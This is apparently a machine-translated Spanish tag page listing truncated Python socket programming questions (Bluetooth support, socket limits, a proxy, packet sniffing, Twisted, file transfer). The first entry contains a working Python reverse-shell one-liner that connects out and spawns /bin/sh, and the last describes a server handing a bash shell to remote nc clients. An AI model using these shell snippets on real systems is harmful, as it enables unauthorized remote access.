Articles of enchufes de

¿Cuál es el equivalente de Rust de un script de shell inverso escrito en Python?

Uno puede crear una shell inversa usando Python con el siguiente ejemplo de código si la máquina con la dirección IP está escuchando en el puerto dado: import socket, subprocess, os; s=socket.socket(socket.AF_INET,socket.SOCK_STREAM); s.connect((\”192.168.1.3\”, 6666)); os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2); p=subprocess.call([\”/bin/sh\”, \”-i\”]); Estoy tratando de duplicar este proceso con Rust: let mut stream = std::net::TcpStream::connect(“192.168.1.3:6666”).expect(“Couldn’t connect to the […]

¿Falta el socket.AF_BLUETOOTH en Anaconda Python?

Estoy tratando de usar socket.AF_BLUETOOTH como se explica aquí: https://docs.python.org/3.3/library/socket.html Tengo Python 3.3.5 :: Anaconda 2.1.0 (x86_64) en Mac OS X 10.10.2 y el módulo de socket no parece contener ninguna referencia AF_BLUETOOTH: In [1]: import socket In [2]: socket.AF socket.AF_APPLETALK socket.AF_INET socket.AF_IPX socket.AF_SNA socket.AF_UNIX socket.AF_DECnet socket.AF_INET6 socket.AF_ROUTE socket.AF_SYSTEM socket.AF_UNSPEC ¿Alguien puede ayudar?

Python en Snow Leopard, ¿cómo abrir> 255 sockets?

Considere este código: import socket store = [] scount = 0 while True: scount+=1 print “Creating socket %d” % (scount) s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) store.append(s) Da el siguiente resultado: Creating socket 1 Creating socket 2 … Creating socket 253 Creating socket 254 Traceback (most recent call last): File “test_sockets.py”, line 9, in File “/opt/local/Library/Frameworks/Python.framework/Versions/2.5/lib/python2.5/socket.py”, line […]

conector de python se cuelga en conectar

Estoy tratando de hacer un proxy transparente en python usando el módulo de socket. pero por alguna razón se cuelga al conectar () el zócalo. Aquí está el código que estoy usando: from __future__ import division import socket import struct #import mcpackets import sys import time #CUSTOM SETTINGS HOST=”192.168.178.28″ PORT=25565 #END CUSTOM SETTINGS serversocket = […]

¿Cómo detectar todos los paquetes en python cuando scapy y pypcap tienen una pérdida grave?

Traté de oler paquetes en Win10 usando python. Sin embargo, encuentro que muchos paquetes son eliminados por scapy. Por ejemplo, descargo un archivo de 2 MB desde ftp, los wireharks capturan casi 2000 paquetes y el scapy solo captura 500. He intentado pypcap y el resultado es casi el mismo, más de la mitad de […]

¿Cómo ejecutas una aplicación Twisted a través de Python (en lugar de a través de Twisted)?

Estoy trabajando a lo largo del aprendizaje de Twisted, y me he topado con algo que no estoy seguro de que me guste mucho: el “Indicador de comando Twisted”. Estoy jugueteando con Twisted en mi máquina con Windows y traté de ejecutar el ejemplo “Chat”: from twisted.protocols import basic class MyChat(basic.LineReceiver): def connectionMade(self): print “Got […]

recv y recvfrom, progtwigción de socket usando python

Soy nuevo en Python y también en la progtwigción de socket. Estoy confundido acerca de socket.recvfrom() y socket.recv() Entiendo que generalmente para UDP, la gente usa recvfrom() y para TCP, la gente usa recv() . Por ejemplo, serverSocketUDP = socket(AF_INET, SOCK_DGRAM) serverSocketTCP = socket(AF_INET, SOCK_STREAM) #… define server… #… message, clientAddress = serverSocketUDP.recvfrom(2048) #why 2048 […]

Enviando archivo sobre socket

Tengo un problema al enviar datos como un archivo de un extremo de un socket al otro. Lo que está sucediendo es que tanto el servidor como el cliente están intentando leer el archivo para que el archivo nunca se envíe. Me preguntaba cómo hacer que el cliente se bloquee hasta que el servidor haya […]

Error al instalar cualquier módulo usando pip, pero easy_install funciona

Recibo este error cada vez que bash instalar cualquier módulo usando pip, pero easy_install funciona perfectamente. No tengo proxies configurados en mi máquina Ubuntu 12.04. Anteriormente funcionaba bien, pero no sé cómo dejó de funcionar de repente. Este es el error que recibo, mientras sudo pip install : Exception: Traceback (most recent call last): File […]

El proceso principal de Python se detiene utilizando llamadas de subproceso en SocketServer

Estoy tratando de implementar una especie de terminal inversa: iniciar server.py en alguna computadora foo. En otra computadora, ejecute nc foo 2000 y está conectado a un shell bash en foo. Estoy usando el siguiente código de servidor: import socket,os,threading,select,subprocess class mysocket(socket.socket): def __init__(self,*arg, **kw): super(mysocket,self).__init__(*arg, **kw) self.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) self.setblocking(0) def read(self): return self.recv(2048) […]